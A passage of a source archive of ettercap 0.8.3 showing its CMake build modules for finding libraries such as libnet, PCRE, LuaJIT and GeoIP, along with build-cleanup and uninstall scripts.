pkg_search_module(GEOIP geoip) # Find the header find_path(GEOIP_INCLUDE_DIR GeoIP.h HINTS "${GEOIP_INCLUDEDIR}" "${GEOIP_ROOT}" PATH_SUFFIXES include Include ) # Find the library find_library(GEOIP_LIBRARY NAMES GeoIP libGeoIP-1 HINTS "${GEOIP_LIBDIR}" "${GEOIP_ROOT}" PATH_SUFFIXES lib ) # handle the QUIETLY and REQUIRED arguments and set GEOIP_FOUND to TRUE if # all listed variables are TRUE include(FindPackageHandleStandardArgs) find_package_handle_standard_args(GEOIP DEFAULT_MSG GEOIP_LIBRARY GEOIP_INCLUDE_DIR) if(GEOIP_FOUND) set(GEOIP_LIBRARIES ${GEOIP_LIBRARY}) set(GEOIP_INCLUDE_DIRS ${GEOIP_INCLUDE_DIR}) endif() mark_as_advanced(GEOIP_LIBRARIES GEOIP_INCLUDE_DIRS) ettercap-0.8.3/cmake/Modules/EttercapVariableCheck.cmake0000644000175000017500000000067313505247364023047 0ustar koeppeakoeppea# Check if PTHREAD_MUTEX_RECURSIVE_NP exists check_variable_in_headers(PTHREAD_MUTEX_RECURSIVE_NP "pthread.h" HAVE_MUTEX_RECURSIVE_NP) # Check if IP6T_SO_ORIGINAL_DST socket option is available - necessary for IPv6 SSL interception if(OS_LINUX AND ENABLE_IPV6) include(CheckSymbolExists) check_symbol_exists( IP6T_SO_ORIGINAL_DST "net/if.h;netinet/in.h;linux/netfilter_ipv6/ip6_tables.h" HAVE_IP6T_SO_ORIGINAL_DST ) endif() ettercap-0.8.3/cmake/Modules/FindPCRE.cmake0000644000175000017500000000512413505247364020222 0ustar koeppeakoeppea# Copyright 2013 Ettercap Development Team. # # Distributed under GPL licnse. # # Look for the header file find_path(PCRE_INCLUDE_DIR NAMES pcre.h) mark_as_advanced(PCRE_INCLUDE_DIR) # Look for the library. find_library(PCRE_LIBRARY NAMES pcre) mark_as_advanced(PCRE_LIBRARY) # Make sure we've got an include dir. if(NOT PCRE_INCLUDE_DIR) if(PCRE_FIND_REQUIRED AND NOT PCRE_FIND_QUIETLY) message(FATAL_ERROR "Could not find PCRE include directory.") endif() return() endif() if(NOT PCRE_LIBRARY) if(PCRE_FIND_REQUIRED AND NOT PCRE_FIND_QUIETLY) message(FATAL_ERROR "Could not find PCRE library.") endif() return() endif() function(extract_version FILENAME DEFNAME VARIABLE) file(STRINGS ${FILENAME} pcre_version_str REGEX "^#define[\t ]+${DEFNAME}[\t ]+.*") string(REGEX REPLACE "^#define[\t ]+${DEFNAME}[\t ]+([0-9]+).*" "\\1" temp_var "${pcre_version_str}") set(${VARIABLE} ${temp_var} PARENT_SCOPE) endfunction() if(PCRE_FIND_VERSION) # Try to find the version number. set(HEADER_FILE "${PCRE_INCLUDE_DIR}/pcre.h") if(EXISTS ${HEADER_FILE}) extract_version(${HEADER_FILE} PCRE_MAJOR PCRE_VERSION_STRING_MAJOR) extract_version(${HEADER_FILE} PCRE_MINOR PCRE_VERSION_STRING_MINOR) set(PCRE_VERSION_STRING "${PCRE_VERSION_STRING_MAJOR}.${PCRE_VERSION_STRING_MINOR}") endif() set(PCRE_FAILED_VERSION_CHECK true) if(PCRE_FIND_VERSION_EXACT) if(PCRE_VERSION_STRING VERSION_EQUAL PCRE_FIND_VERSION) set(PCRE_FAILED_VERSION_CHECK false) endif() else() if(PCRE_VERSION_STRING VERSION_EQUAL PCRE_FIND_VERSION OR PCRE_VERSION_STRING VERSION_GREATER PCRE_FIND_VERSION) set(PCRE_FAILED_VERSION_CHECK false) endif() endif() if(PCRE_FAILED_VERSION_CHECK) if(PCRE_FIND_REQUIRED AND NOT PCRE_FIND_QUIETLY) if(PCRE_FIND_VERSION_EXACT) message(FATAL_ERROR "PCRE version check failed. Version ${PCRE_VERSION_STRING} was found, version ${PCRE_FIND_VERSION} is needed exactly.") else() message(FATAL_ERROR "PCRE version check failed. Version ${PCRE_VERSION_STRING} was found, at least version ${PCRE_FIND_VERSION} is required") endif() endif() # If the version check fails, exit out of the module here return() endif() endif() #handle the QUIETLY and REQUIRED arguments and set PCRE_FOUND to TRUE if # all listed variables are TRUE include(FindPackageHandleStandardArgs) find_package_handle_standard_args(PCRE DEFAULT_MSG PCRE_LIBRARY PCRE_INCLUDE_DIR) if(PCRE_FOUND) set(PCRE_LIBRARY ${PCRE_LIBRARY}) set(PCRE_INCLUDE_DIR ${PCRE_INCLUDE_DIR}) set(PCRE_VERSION_STRING ${PCRE_VERSION_STRING}) endif() ettercap-0.8.3/cmake/Modules/CheckVariableInHeaders.cmake0000644000175000017500000000142613505247364023137 0ustar koeppeakoeppeainclude(CheckCSourceCompiles) macro(CHECK_VARIABLE_IN_HEADERS _SYMBOL _HEADER _RESULT) set(_INCLUDE_FILES) foreach(it ${_HEADER}) set(_INCLUDE_FILES "${_INCLUDE_FILES}#include <${it}>\n") endforeach() set(_CHECK_PROTO_EXISTS_SOURCE_CODE " ${_INCLUDE_FILES} void cmakeRequireSymbol(int dummy,...){(void)dummy;} int main() { int i = ${_SYMBOL}; return 0; } ") check_c_source_compiles("${_CHECK_PROTO_EXISTS_SOURCE_CODE}" ${_RESULT}) if(${_RESULT}) file(APPEND ${CMAKE_BINARY_DIR}${CMAKE_FILES_DIRECTORY}/CMakeOutput.log "Variable ${_SYMBOL} was found in headers\n") else() file(APPEND ${CMAKE_BINARY_DIR}${CMAKE_FILES_DIRECTORY}/CMakeError.log "Failed to find variable ${_SYMBOL}. Source: ${_CHECK_PROTO_EXISTS_SOURCE_CODE}\n") endif() endmacro() ettercap-0.8.3/cmake/Modules/FindLUAJIT.cmake0000644000175000017500000000575713505247364020475 0ustar koeppeakoeppea# Copyright 2013 Ettercap Development Team. # # Distributed under GPL licnse. # # Look for the header file find_path(LUAJIT_INCLUDE_DIR NAMES luajit.h PATH_SUFFIXES luajit-2.1 luajit-2.0 luajit) mark_as_advanced(LUAJIT_INCLUDE_DIR) #Look for the library find_library(LUAJIT_LIBRARY NAMES luajit-5.1) mark_as_advanced(LUAJIT_LIBRARY) # Make sure we've got an include dir. if(NOT LUAJIT_INCLUDE_DIR) if(LUAJIT_FIND_REQUIRED AND NOT LUAJIT_FIND_QUIETLY) message(FATAL_ERROR "Could not find LUAJIT include directory.") endif() return() endif() if(NOT LUAJIT_LIBRARY) if(LUAJIT_FIND_REQUIRED AND NOT LUAJIT_FIND_QUIETLY) message(FATAL_ERROR "Could not find LUAJIT library.") endif() return() endif() #============================================================= # _LUAJIT_GET_VERSION # Internal function to parse the version number in luajit.h # _OUT_version = The version number # _luajit_hdr = Header file to parse #============================================================= function(_LUAJIT_GET_VERSION _OUT_version _luajit_hdr) file(READ ${_luajit_hdr} _contents) if(_contents) # Example: #define LUAJIT_VERSION_NUM 20000 /* Version 2.0.0 = 02.00.00. */ string(REGEX REPLACE ".*#define LUAJIT_VERSION_NUM[ \t]+([0-9]+)([0-9][0-9])([0-9][0-9])[^0-9].*" "\\1.\\2.\\3" ${_OUT_version} "${_contents}") if(NOT ${_OUT_version} MATCHES "[0-9.]+") message(FATAL_ERROR "Version parsing failed for LUAJIT_VERSION!") endif() set(${_OUT_version} ${${_OUT_version}} PARENT_SCOPE) else() message(FATAL_ERROR "Include file ${_luajit_hdr} does not exist") endif() endfunction() if(LUAJIT_FIND_VERSION) set(LUAJIT_FAILED_VERSION_CHECK true) _luajit_get_version(LUAJIT_VERSION ${LUAJIT_INCLUDE_DIR}/luajit.h) if(LUAJIT_FIND_VERSION_EXACT) if(LUAJIT_VERSION VERSION_EQUAL LUAJIT_FIND_VERSION) set(LUAJIT_FAILED_VERSION_CHECK false) endif() else() if(LUAJIT_VERSION VERSION_EQUAL LUAJIT_FIND_VERSION OR LUAJIT_VERSION VERSION_GREATER LUAJIT_FIND_VERSION) set(LUAJIT_FAILED_VERSION_CHECK false) endif() endif() if(LUAJIT_FAILED_VERSION_CHECK) if(LUAJIT_FIND_REQUIRED AND NOT LUAJIT_FIND_QUIETLY) if(LUAJIT_FIND_VERSION_EXACT) message(FATAL_ERROR "LUAJIT version check failed. Version ${LUAJIT_VERSION} was found, version ${LUAJIT_FIND_VERSION} is needed exactly.") else() message(FATAL_ERROR "LUAJIT version check failed. Version ${LUAJIT_VERSION} was found, at least version ${LUAJIT_FIND_VERSION} is required") endif() endif() # If the version check fails, exit out of the module here return() endif() endif() #handle the QUIETLY and REQUIRED arguments and set LUAJIT_FOUND to TRUE if # all listed variables are TRUE include(FindPackageHandleStandardArgs) find_package_handle_standard_args(LUAJIT DEFAULT_MSG LUAJIT_LIBRARY LUAJIT_INCLUDE_DIR) if(LUAJIT_FOUND) set(LUAJIT_LIBRARY ${LUAJIT_LIBRARY}) set(LUAJIT_INCLUDE_DIR ${LUAJIT_INCLUDE_DIR}) set(LUAJIT_VERSION ${LUAJIT_VERSION}) endif() ettercap-0.8.3/cmake/Modules/FindLIBRTMP.cmake0000644000175000017500000000031413505247364020576 0ustar koeppeakoeppeafind_path(RTMP_INCLUDE_DIR librtmp/rtmp.h) find_library(RTMP_LIBRARIES rtmp) include(FindPackageHandleStandardArgs) find_package_handle_standard_args(LIBRTMP DEFAULT_MSG RTMP_LIBRARIES RTMP_INCLUDE_DIR) ettercap-0.8.3/cmake/Modules/FindLIBIDN.cmake0000644000175000017500000000175413505247364020437 0ustar koeppeakoeppea# - Try to find LIBIDN # Find LIBIDN headers, libraries and the answer to all questions. # # LIBIDN_FOUND True if libidn got found # LIBIDN_INCLUDE_DIR Location of libidn headers # LIBIDN_LIBRARIES List of libaries to use libidn # # Copyright (c) 2009 Nigmatullin Ruslan # # Redistribution and use is allowed according to the terms of the New # BSD license. # For details see the accompanying COPYING-CMAKE-SCRIPTS file. # if(WIN32) find_path(LIBIDN_INCLUDE_DIR stringprep.h $ENV{INCLUDE}) find_library(LIBIDN_LIBRARIES libidn $ENV{LIB}) else() find_path(LIBIDN_INCLUDE_DIR stringprep.h) find_library(LIBIDN_LIBRARIES idn) endif() include(FindPackageHandleStandardArgs) find_package_handle_standard_args(LIBIDN DEFAULT_MSG LIBIDN_LIBRARIES LIBIDN_INCLUDE_DIR) if(LIBIDN_FOUND) set(LIBIDN_LIBRARY ${LIBIDN_LIBRARIES}) set(LIBIDN_INCLUDE_DIRS ${LIBIDN_INCLUDE_DIR}) endif() mark_as_advanced(LIBIDN_LIBRARIES LIBIDN_INCLUDE_DIRS) ettercap-0.8.3/cmake/Modules/EttercapOSTest.cmake0000644000175000017500000000151113505247364021535 0ustar koeppeakoeppeaif(${CMAKE_SYSTEM_NAME} MATCHES "Linux") set(OS_LINUX 1) elseif(${CMAKE_SYSTEM_NAME} MATCHES "FreeBSD") set(OS_BSD 1) set(OS_BSD_FREE 1) elseif(${CMAKE_SYSTEM_NAME} MATCHES "NetBSD") set(OS_BSD 1) set(OS_BSD_NET 1) elseif(${CMAKE_SYSTEM_NAME} MATCHES "OpenBSD") set(OS_BSD 1) set(OS_BSD_OPEN 1) elseif(${CMAKE_SYSTEM_NAME} MATCHES "Darwin") set(OS_DARWIN 1) elseif(${CMAKE_SYSTEM_NAME} MATCHES "SunOS") set(OS_SOLARIS 1) elseif(${CMAKE_SYSTEM_NAME} MATCHES "GNU") set(OS_GNU 1) elseif(MINGW) set(OS_MINGW 1) set(OS_WINDOWS 1) elseif(CYGWIN) set(OS_CYGWIN 1) set(OS_WINDOWS 1) else() message(FATAL_ERROR "Operating system not supported") endif() set(OS_SIZEOF_P ${CMAKE_SIZEOF_VOID_P}) include(TestBigEndian) test_big_endian(WORDS_BIGENDIAN) set(CC_VERSION ${CMAKE_C_COMPILER}) ettercap-0.8.3/cmake/Modules/FindLIBNET.cmake0000644000175000017500000000741013505247364020446 0ustar koeppeakoeppea# Copyright 2013 Ettercap Development Team. # # Distributed under GPL license. # # Look for the header file find_path(LIBNET_INCLUDE_DIR NAMES libnet.h PATH_SUFFIXES libnet11) mark_as_advanced(LIBNET_INCLUDE_DIR) #Look for the library find_library(LIBNET_LIBRARY NAMES net libnet PATH_SUFFIXES libnet11) mark_as_advanced(LIBNET_LIBRARY) # Make sure we've got an include dir. if(NOT LIBNET_INCLUDE_DIR) if(LIBNET_FIND_REQUIRED AND NOT LIBNET_FIND_QUIETLY) message(FATAL_ERROR "Could not find LIBNET include directory.") endif() return() endif() if(NOT LIBNET_LIBRARY) if(LIBNET_FIND_REQUIRED AND NOT LIBNET_FIND_QUIETLY) message(FATAL_ERROR "Could not find LIBNET library.") endif() return() endif() #============================================================= # _LIBNET_GET_VERSION # Internal function to parse the version number in libnet.h # _OUT_version = The full version number # _OUT_version_major = The major version number only # _OUT_version_minor = The minor version number only # _libnet_hdr = Header file to parse #============================================================= function(_LIBNET_GET_VERSION _OUT_version _OUT_version_major _OUT_version_minor _libnet_hdr) file(READ ${_libnet_hdr} _contents) if(_contents) string(REGEX REPLACE ".*#define LIBNET_VERSION[ \t]+\"([0-9.rc-]+)\".*" "\\1" ${_OUT_version} "${_contents}") if(NOT ${_OUT_version} MATCHES "[0-9.rc-]+") message(FATAL_ERROR "Version parsing failed for LIBNET_VERSION!") endif() set(${_OUT_version} ${${_OUT_version}} PARENT_SCOPE) string(REGEX REPLACE "^([0-9]+)\\.[0-9]+.*" "\\1" ${_OUT_version_major} "${${_OUT_version}}") string(REGEX REPLACE "^[0-9]+\\.([0-9]+).*" "\\1" ${_OUT_version_minor} "${${_OUT_version}}") if(NOT ${_OUT_version_major} MATCHES "[0-9]+" OR NOT ${_OUT_version_minor} MATCHES "[0-9]+") message(FATAL_ERROR "Version parsing failed for detailed LIBNET_VERSION!: '${_OUT_version}' '${_OUT_version_major}' '${_OUT_version_minor}'") endif() set(${_OUT_version_major} ${${_OUT_version_major}} PARENT_SCOPE) set(${_OUT_version_minor} ${${_OUT_version_minor}} PARENT_SCOPE) else() message(FATAL_ERROR "Include file ${_libnet_hdr} does not exist") endif() endfunction() if(LIBNET_FIND_VERSION) set(LIBNET_FAILED_VERSION_CHECK true) _libnet_get_version(LIBNET_VERSION LIBNET_VERSION_MAJOR LIBNET_VERSION_MINOR ${LIBNET_INCLUDE_DIR}/libnet.h) if(LIBNET_FIND_VERSION_EXACT) if(LIBNET_VERSION VERSION_EQUAL LIBNET_FIND_VERSION) set(LIBNET_FAILED_VERSION_CHECK false) endif() else() if(LIBNET_VERSION VERSION_EQUAL LIBNET_FIND_VERSION OR LIBNET_VERSION VERSION_GREATER LIBNET_FIND_VERSION) set(LIBNET_FAILED_VERSION_CHECK false) endif() endif() if(LIBNET_FAILED_VERSION_CHECK) if(LIBNET_FIND_REQUIRED AND NOT LIBNET_FIND_QUIETLY) if(LIBNET_FIND_VERSION_EXACT) message(FATAL_ERROR "LIBNET version check failed. Version ${LIBNET_VERSION} was found, version ${LIBNET_FIND_VERSION} is needed exactly.") else() message(FATAL_ERROR "LIBNET version check failed. Version ${LIBNET_VERSION} was found, at least version ${LIBNET_FIND_VERSION} is required") endif() endif() # If the version check fails, exit out of the module here return() endif() endif() #handle the QUIETLY and REQUIRED arguments and set LIBNET_FOUND to TRUE if # all listed variables are TRUE include(FindPackageHandleStandardArgs) find_package_handle_standard_args(LIBNET DEFAULT_MSG LIBNET_LIBRARY LIBNET_INCLUDE_DIR) if(LIBNET_FOUND) set(LIBNET_LIBRARY ${LIBNET_LIBRARY}) set(LIBNET_INCLUDE_DIR ${LIBNET_INCLUDE_DIR}) set(LIBNET_VERSION ${LIBNET_VERSION}) set(LIBNET_VERSION_MAJOR ${LIBNET_VERSION_MAJOR}) set(LIBNET_VERSION_MINOR ${LIBNET_VERSION_MINOR}) endif() ettercap-0.8.3/cmake/Modules/MacroEnsureOutOfSourceBuild.cmake0000644000175000017500000000114513505247364024230 0ustar koeppeakoeppea# - MACRO_ENSURE_OUT_OF_SOURCE_BUILD() # MACRO_ENSURE_OUT_OF_SOURCE_BUILD() # Copyright (c) 2006, Alexander Neundorf, # # Redistribution and use is allowed according to the terms of the BSD license. # For details see the accompanying COPYING-CMAKE-SCRIPTS file. macro(MACRO_ENSURE_OUT_OF_SOURCE_BUILD _errorMessage) string(COMPARE EQUAL "${CMAKE_SOURCE_DIR}" "${CMAKE_BINARY_DIR}" _insource) if(_insource) message(SEND_ERROR "${_errorMessage}") message(FATAL_ERROR "Remove the file CMakeCache.txt in ${CMAKE_SOURCE_DIR} first.") endif() endmacro() ettercap-0.8.3/cmake/Modules/FindLIBCHECK.cmake0000644000175000017500000000234313505247364020635 0ustar koeppeakoeppea# - Try to find LibCheck # Once done this will define # LIBCHECK_FOUND - System has LibCheck # LIBCHECK_INCLUDE_DIRS - The LibCheck include directories # LIBCHECK_LIBRARIES - The libraries needed to use LibCheck # LIBCHECK_DEFINITIONS - Compiler switches required for using LibCheck find_package(PkgConfig) include(FindPkgConfig) pkg_check_modules(PC_LIBCHECK libcheck) pkg_check_modules(PC_CHECK check) set(LIBCHECK_DEFINITIONS ${PC_LIBCHECK_CFLAGS_OTHER}) find_path(LIBCHECK_INCLUDE_DIR check.h HINTS ${PC_LIBCHECK_INCLUDEDIR} ${PC_LIBCHECK_INCLUDE_DIRS}) find_library(LIBCHECK_LIBRARY NAMES check libcheck HINTS ${PC_LIBCHECK_LIBDIR} ${PC_LIBCHECK_LIBRARY_DIRS}) include(FindPackageHandleStandardArgs) # handle the QUIETLY and REQUIRED arguments and set LIBCHECK_FOUND to TRUE # if all listed variables are TRUE find_package_handle_standard_args(LIBCHECK DEFAULT_MSG LIBCHECK_LIBRARY LIBCHECK_INCLUDE_DIR) if(LIBCHECK_FOUND) set(LIBCHECK_LDFLAGS ${PC_CHECK_LIBRARIES} ${PC_LIBCHECK_LIBRARIES} ${PC_CHECK_LDFLAGS} ${PC_LIBCHECK_LDFLGAS}) set(LIBCHECK_LIBRARIES ${LIBCHECK_LIBRARY}) set(LIBCHECK_INCLUDE_DIRS ${LIBCHECK_INCLUDE_DIR}) endif() mark_as_advanced(LIBCHECK_INCLUDE_DIR LIBCHECK_LIBRARY) ettercap-0.8.3/cmake/Modules/EttercapLibCheck.cmake0000644000175000017500000002150613505247364022026 0ustar koeppeakoeppea## The easy part set(EC_LIBS) set(EC_INTERFACES_LIBS) set(EC_INCLUDE) # Generic target that will build all enabled bundled libs. add_custom_target(bundled) if(ENABLE_CURSES) set(CURSES_NEED_NCURSES TRUE) find_package(Curses REQUIRED) set(HAVE_NCURSES 1) set(EC_INTERFACES_LIBS ${EC_INTERFACES_LIBS} ${CURSES_LIBRARIES} ${CURSES_NCURSES_LIBRARY} ${CURSES_FORM_LIBRARY}) set(EC_INCLUDE ${EC_INCLUDE} ${CURSES_INCLUDE_DIR} ${CURSES_INCLUDE_DIR}/ncurses) find_library(FOUND_PANEL panel) find_library(FOUND_MENU menu) if(FOUND_PANEL) set(EC_INTERFACES_LIBS ${EC_INTERFACES_LIBS} ${FOUND_PANEL}) endif() if(FOUND_MENU) set(EC_INTERFACES_LIBS ${EC_INTERFACES_LIBS} ${FOUND_MENU}) endif() endif() if(ENABLE_GTK) set(VALID_GTK_TYPES GTK2 GTK3) if(NOT DEFINED GTK_BUILD_TYPE) message(STATUS "No GTK_BUILD_TYPE defined, default is GTK3") set(GTK_BUILD_TYPE GTK3 CACHE STRING "Choose the type of gtk build, options are: ${VALID_GTK_TYPES}." FORCE) else() set(GTK_BUILD_TYPE ${GTK_BUILD_TYPE} CACHE STRING "Choose the type of gtk build, options are: ${VALID_GTK_TYPES}." FORCE) endif() list(FIND VALID_GTK_TYPES ${GTK_BUILD_TYPE} contains_valid) if(contains_valid EQUAL -1) message(FATAL_ERROR "Unknown GTK_BUILD_TYPE: '${GTK_BUILD_TYPE}'. Valid options are: ${VALID_GTK_TYPES}") endif() unset(contains_valid) if(GTK_BUILD_TYPE STREQUAL GTK3) set(GTK3_FIND_VERSION 1) find_package(GTK3 3.12.0) if(GTK3_FOUND) set(HAVE_GTK3 1) else() # give it another try but only in GTK3 compatibility mode find_package(GTK3 REQUIRED) if(GTK3_FOUND) message("\n\ Your version of GTK3 (${GTK3_VERSION}) is not \ sufficient for full GTK3 support.\n\ Full support requires >= 3.12.\n\ Building in GTK3 compatibility mode.\n") set(HAVE_GTK3COMPAT 1) else() message(FATAL_ERROR "You choose to build against GTK3.\ Please install it, or build against GTK1") endif() endif() set(EC_INTERFACES_LIBS ${EC_INTERFACES_LIBS} ${GTK3_LIBRARIES}) set(EC_INCLUDE ${EC_INCLUDE} ${GTK3_INCLUDE_DIRS}) include_directories(${GTK3_INCLUDE_DIRS}) endif() if(GTK_BUILD_TYPE STREQUAL GTK2) find_package(GTK2 2.10 REQUIRED) if(NOT GTK2_FOUND) message(FATAL_ERROR "You choose to build against GTK2, please install it, or build against GTK3") else() message(DEPRECIATION " !!!!!!!!!!!!!!!!!!!!!!!!!!!!") message(DEPRECIATION " ! GTK2 phase-out started !") message(DEPRECIATION " !!!!!!!!!!!!!!!!!!!!!!!!!!!!") message(DEPRECIATION " Please consider building against GTK3.") message(DEPRECIATION " GTK2 support will be dropped in future releases.") endif() set(HAVE_GTK 1) set(EC_INTERFACES_LIBS ${EC_INTERFACES_LIBS} ${GTK2_LIBRARIES}) set(EC_INCLUDE ${EC_INCLUDE} ${GTK2_INCLUDE_DIRS}) include_directories(${GTK2_INCLUDE_DIRS}) endif() if(OS_DARWIN OR OS_BSD) find_library(FOUND_GTHREAD gthread-2.0) if(FOUND_GTHREAD) set(EC_INTERFACES_LIBS ${EC_INTERFACES_LIBS} ${FOUND_GTHREAD}) endif() else() set(EC_INTERFACES_LIBS ${EC_INTERFACES_LIBS} gthread-2.0) endif() endif() find_package(OpenSSL REQUIRED) set(EC_LIBS ${EC_LIBS} ${OPENSSL_LIBRARIES}) set(EC_INCLUDE ${EC_INCLUDE} ${OPENSSL_INCLUDE_DIR}) find_package(ZLIB REQUIRED) set(EC_LIBS ${EC_LIBS} ${ZLIB_LIBRARIES}) set(EC_INCLUDE ${EC_INCLUDE} ${ZLIB_INCLUDE_DIRS}) set(CMAKE_THREAD_PREFER_PTHREAD 1) find_package(Threads REQUIRED) if(CMAKE_USE_PTHREADS_INIT) set(EC_LIBS ${EC_LIBS} ${CMAKE_THREAD_LIBS_INIT}) else() message(FATAL_ERROR "pthreads not found") endif() ## Thats all with packages, now we are on our own :( include(CheckFunctionExists) include(CheckLibraryExists) include(CheckIncludeFile) # Iconv find_library(HAVE_ICONV iconv) check_function_exists(iconv HAVE_UTF8) if(HAVE_ICONV) # Seem that we have a dedicated iconv library not built in libc (e.g. FreeBSD) set(HAVE_UTF8 1) set(EC_LIBS ${EC_LIBS} ${HAVE_ICONV}) else() if(HAVE_UTF8) # iconv built in libc else() message(FATAL_ERROR "iconv not found") endif() endif() # LTDL if(ENABLE_PLUGINS) if(CMAKE_DL_LIBS) # dedicated libdl library set(HAVE_PLUGINS 1) set(EC_LIBS ${EC_LIBS} ${CMAKE_DL_LIBS}) else() # included in libc check_function_exists(dlopen HAVE_DLOPEN) if(HAVE_DLOPEN) set(HAVE_PLUGINS 1) endif() endif() endif() if(HAVE_PLUGINS) # Fake target for curl add_custom_target(curl) # sslstrip has a requirement for libcurl >= 7.26.0 if(SYSTEM_CURL) message(STATUS "CURL support requested. Will look for curl >= 7.26.0") find_package(CURL 7.26.0) if(NOT CURL_FOUND) message(STATUS "Couldn't find a suitable system-provided version of Curl") endif() endif() if(BUNDLED_CURL AND (NOT CURL_FOUND)) message(STATUS "Using bundled version of Curl") add_subdirectory(bundled_deps/curl) # EXCLUDE_FROM_ALL) add_dependencies(curl bundled_curl) add_dependencies(bundled bundled_curl) endif() # Still haven't found curl? Bail! if(NOT CURL_FOUND) message(FATAL_ERROR "Could not find Curl!") endif() endif() check_function_exists(poll HAVE_POLL) check_function_exists(strtok_r HAVE_STRTOK_R) check_function_exists(select HAVE_SELECT) check_function_exists(scandir HAVE_SCANDIR) check_function_exists(strlcat HAVE_STRLCAT_FUNCTION) check_function_exists(strlcpy HAVE_STRLCPY_FUNCTION) if(NOT HAVE_STRLCAT_FUNCTION OR NOT HAVE_STRLCPY_FUNCTION) check_library_exists(bsd strlcat "bsd/string.h" HAVE_STRLCAT) check_library_exists(bsd strlcpy "bsd/string.h" HAVE_STRLCPY) if(HAVE_STRLCAT OR HAVE_STRLCPY) set(EC_INTERFACES_LIBS ${EC_INTERFACES_LIBS} bsd) endif() endif() check_function_exists(strsep HAVE_STRSEP) check_function_exists(strcasestr HAVE_STRCASESTR) check_function_exists(memmem HAVE_MEMMEM) check_function_exists(memrchr HAVE_MEMRCHR) check_function_exists(basename HAVE_BASENAME) check_function_exists(strndup HAVE_STRNDUP) find_library(HAVE_PCAP pcap) if(HAVE_PCAP) set(EC_INTERFACES_LIBS ${EC_INTERFACES_LIBS} ${HAVE_PCAP}) else() message(FATAL_ERROR "libpcap not found!") endif() if(ENABLE_GEOIP) message(STATUS "GeoIP support requested. Will look for the legacy GeoIP C library") find_package(GEOIP) if(GEOIP_FOUND) set(HAVE_GEOIP 1) set(EC_LIBS ${EC_LIBS} ${GEOIP_LIBRARIES}) else() message(FATAL_ERROR "GeoIP not found!") endif() endif() # begin LIBNET # This is a fake target that ettercap is dependant upon. If we end up using # a bundled version of libnet, we make this 'libnet' target dependant on it. # That way, everything gets built in the proper order! add_custom_target(libnet) if(SYSTEM_LIBNET) if(ENABLE_IPV6) message(STATUS "IPV6 support requested. Will look for libnet >= 1.1.5") find_package(LIBNET "1.1.5") else() find_package(LIBNET) endif() if(NOT LIBNET_FOUND) message(STATUS "Couldn't find a suitable system-provided version of LIBNET") endif() endif() # Only go into bundled stuff if it's enabled and we haven't found it already. if(BUNDLED_LIBNET AND (NOT LIBNET_FOUND)) message(STATUS "Using bundled version of LIBNET") add_subdirectory(bundled_deps/libnet) # EXCLUDE_FROM_ALL) add_dependencies(libnet bundled_libnet) add_dependencies(bundled bundled_libnet) endif() # Still haven't found libnet? Bail! if(NOT LIBNET_FOUND) message(FATAL_ERROR "Could not find LIBNET!") endif() include_directories(${LIBNET_INCLUDE_DIR}) set(EC_LIBS ${EC_LIBS} ${LIBNET_LIBRARY}) # end LIBNET find_library(HAVE_RESOLV resolv) if(HAVE_RESOLV) set(EC_LIBS ${EC_LIBS} ${HAVE_RESOLV}) set(HAVE_DN_EXPAND 1 CACHE PATH "Found dn_expand") else() if(OS_BSD) # FreeBSD has dn_expand built in libc check_function_exists(dn_expand HAVE_DN_EXPAND) endif() endif() find_package(PCRE) if(PCRE_LIBRARY) set(HAVE_PCRE 1) include_directories(${PCRE_INCLUDE_DIR}) set(EC_LIBS ${EC_LIBS} ${PCRE_LIBRARY}) endif() if(ENABLE_TESTS) if(SYSTEM_LIBCHECK) find_package(LIBCHECK) endif() if(BUNDLED_LIBCHECK AND (NOT LIBCHECK_FOUND)) add_subdirectory(bundled_deps/check) # EXCLUDE_FROM_ALL) else() find_library(LIB_RT rt) if(NOT OS_DARWIN AND (NOT LIB_RT)) message(FATAL_ERROR "Could not find librt, which is required for linking tests.") endif() endif() if(NOT LIBCHECK_FOUND) message(FATAL_ERROR "Could not find LIBCHECK!") endif() endif() ettercap-0.8.3/cmake/Scripts/0000755000175000017500000000000013505247364015703 5ustar koeppeakoeppeaettercap-0.8.3/cmake/Scripts/clean-all.cmake0000644000175000017500000000212413505247364020534 0ustar koeppeakoeppea # The helps us make sure that the build directory is *really* clean. set(cmake_generated ${CMAKE_BINARY_DIR}/CMakeCache.txt ${CMAKE_BINARY_DIR}/cmake_install.cmake ${CMAKE_BINARY_DIR}/Makefile ${CMAKE_BINARY_DIR}/CMakeFiles ${CMAKE_BINARY_DIR}/cmake_uninstall.cmake ${CMAKE_BINARY_DIR}/CTestTestfile.cmake ${CMAKE_BINARY_DIR}/install_manifest.txt ${CMAKE_BINARY_DIR}/desktop/ ${CMAKE_BINARY_DIR}/include/ ${CMAKE_BINARY_DIR}/man/ ${CMAKE_BINARY_DIR}/plug-ins/ ${CMAKE_BINARY_DIR}/share/ ${CMAKE_BINARY_DIR}/src/ ${CMAKE_BINARY_DIR}/tests/ ${CMAKE_BINARY_DIR}/utils/ ${CMAKE_BINARY_DIR}/Testing/ ${CMAKE_BINARY_DIR}/AUTHORS ${CMAKE_BINARY_DIR}/LICENSE ) foreach(file ${cmake_generated}) if(EXISTS ${file}) file(REMOVE_RECURSE ${file}) endif() endforeach() ettercap-0.8.3/cmake/Scripts/cmake_uninstall.cmake.in0000644000175000017500000000201313505247364022457 0ustar koeppeakoeppeaif(NOT EXISTS "@CMAKE_CURRENT_BINARY_DIR@/install_manifest.txt") message(FATAL_ERROR "Cannot find install manifest: @CMAKE_CURRENT_BINARY_DIR@/install_manifest.txt") endif(NOT EXISTS "@CMAKE_CURRENT_BINARY_DIR@/install_manifest.txt") file(READ "@CMAKE_CURRENT_BINARY_DIR@/install_manifest.txt" files) string(REGEX REPLACE "\n" ";" files "${files}") foreach(file ${files}) message(STATUS "Uninstalling $ENV{DESTDIR}${file}") if(IS_SYMLINK "$ENV{DESTDIR}${file}" OR EXISTS "$ENV{DESTDIR}${file}") exec_program( "@CMAKE_COMMAND@" ARGS "-E remove \"$ENV{DESTDIR}${file}\"" OUTPUT_VARIABLE rm_out RETURN_VALUE rm_retval ) if(NOT "${rm_retval}" STREQUAL 0) message(FATAL_ERROR "Problem when removing $ENV{DESTDIR}${file}") endif(NOT "${rm_retval}" STREQUAL 0) else(IS_SYMLINK "$ENV{DESTDIR}${file}" OR EXISTS "$ENV{DESTDIR}${file}") message(STATUS "File $ENV{DESTDIR}${file} does not exist.") endif(IS_SYMLINK "$ENV{DESTDIR}${file}" OR EXISTS "$ENV{DESTDIR}${file}") endforeach(file) ettercap-0.8.3/TODO0000644000175000017500000000553313505247364013672 0ustar koeppeakoeppea========================== TODO for the NG series ========================== >>> things to be fixed + remove 